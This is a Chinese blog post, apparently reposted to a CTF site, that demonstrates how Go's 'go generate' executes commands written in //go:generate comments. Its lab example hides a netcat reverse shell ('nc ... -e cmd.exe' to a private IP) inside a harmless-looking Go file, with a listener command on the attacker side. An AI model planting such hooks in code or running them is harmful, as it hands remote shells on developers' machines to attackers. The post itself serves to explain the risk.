Go 之 “Rce”

渗透技巧 2年前 (2022) admin
720 0 0

    Go语言在去年出了一个go getRce漏洞,漏洞编号CVE-2021-3115,主要影响运行该命令的GoWindows用户,系go get由于Windows PATH查找的默认行为


   这里,我们不介绍这个,而是介绍另一个非常有意思的“Rce”。其实它不能算“Rce”,顶多只能算是个Bug


一、看实验:

虚拟机ip:192.168.40.155

1、在虚拟机中运行:nc -lvp 7777

Go 之 “Rce”


2、在本机中运行:go generate -x testRce.go

Go 之 “Rce”


3、结果,shell了

Go 之 “Rce”

出现了windows的shell窗口,说明执行成功。


二、Go代码

testRce.go:

package main


import (

       “fmt”

)

//go:generate nc 192.168.40.155 7777 -e c:windowssystem32cmd.exe

func main() {

fmt.Println(“test go:generate remote command execution “)

}


三、go generate 介绍

    go generate命令是go 1.4版本里面新添加的一个命令,当运行go generate时,它将扫描与当前包相关的源代码文件,找出所有包含//go:generate的特殊注释,提取并执行该特殊注释后面的命令,命令为可执行程序,形同shell下面执行。


有几点需要注意:

  • 该特殊注释必须在.go源码文件中.

  • 每个源码文件可以包含多个generate特殊注释时.

  • 显示运go generate命令时,才会执行特殊注释后面的命令.

  • 命令串行执行的,如果出错,就终止后面的执行.

  • 特殊注释必须以//go:generate开头,双斜线后面没有空格.


    理论结合实验,是不是很有意思啊!


    铜陵疫情终于控制住!今天有部分小区解封了,意味着我也要解封了,在单位住了有二十天,还挺留念这样的集体生活!不过,能见到家人,还真是开心,明天早上下班就回家!!!

Go 之 “Rce”

我的小窝

原文始发于微信公众号(MicroPest):Go 之 “Rce”

版权声明:admin 发表于 2022年4月3日 下午7:10。
转载请注明:Go 之 “Rce” | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...